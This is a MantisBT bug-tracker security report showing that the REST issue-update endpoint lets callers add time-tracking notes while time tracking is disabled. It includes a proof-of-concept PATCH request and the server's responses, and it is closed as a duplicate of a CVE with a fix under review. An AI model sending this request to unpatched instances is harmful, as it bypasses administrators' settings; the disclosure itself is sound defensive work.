Dependency Graph

Dependency Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037081mantisbtsecuritypublic2026-09-13 20:35
Reporterninjasec Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.1 
Summary0037081: REST Issue Update Adds Embedded Time-Tracking Notes While Time Tracking Is Disabled
Description

REST issue update accepts a notes array and delegates to mc_issue_update(),
which adds new notes directly with bugnote_add() and
mci_get_time_tracking_from_note(). As in issue creation, this bypasses the
normal time-tracking feature gate enforced by the standalone note endpoint.

Steps To Reproduce

Control request:

POST /api/rest/issues/1/notes HTTP/1.1
Content-Type: application/json

{"text":"TIME-OFF-BYPASS","time_tracking":{"duration":"1:30"}}

Observed:

HTTP/1.1 403 time tracking disabled

Vulnerable request:

PATCH /api/rest/issues/1 HTTP/1.1
Content-Type: application/json

{
  "summary": "Public audit issue",
  "description": "Baseline public issue for security audit.",
  "reporter": { "id": 2, "name": "reporter" },
  "handler": { "id": 3, "name": "developer" },
  "category": { "id": 2, "name": "General" },
  "notes": [
    {
      "text": "REST-UPDATE-EMBED-TT",
      "time_tracking": { "duration": "0:45" }
    }
  ]
}

Observed response:

HTTP/1.1 200 Issue with id 1 Updated

Observed response body excerpt:

{"notes":[{"text":"REST-UPDATE-EMBED-TT","time_tracking":{"duration":"00:45"},"type":"timelog"}]}

Database verification:

6|1|3|0|45
Additional Information

Severity:
Medium

Type:
Authorization / feature-gate bypass

Affected code:
api/rest/restcore/issues_rest.php
api/soap/mc_issue_api.php
api/soap/mc_api.php

Impact:
REST callers can add time-tracking entries through embedded issue updates even
when time tracking is disabled on the instance.

TagsNo tags attached.

Relationships

duplicate of 0037200 closeddregad CVE-2026-52883: Injection of TIME_TRACKING and REMINDER Notes via REST and SOAP APIs 

Activities

dregad

dregad

2026-05-30 12:24

developer   ~0071199

@ninjasec another researcher reported the same issue, against the SOAP API (0037200). Since their report is better than yours (no offence !), I'll mark this Issue as duplicate and close it.

Don't worry you still get the credit.

dregad

dregad

2026-05-30 13:16

developer   ~0071204

PR for review: https://github.com/mantisbt/mantisbt-ghsa-4vpf-w7qv-5h3q/pull/1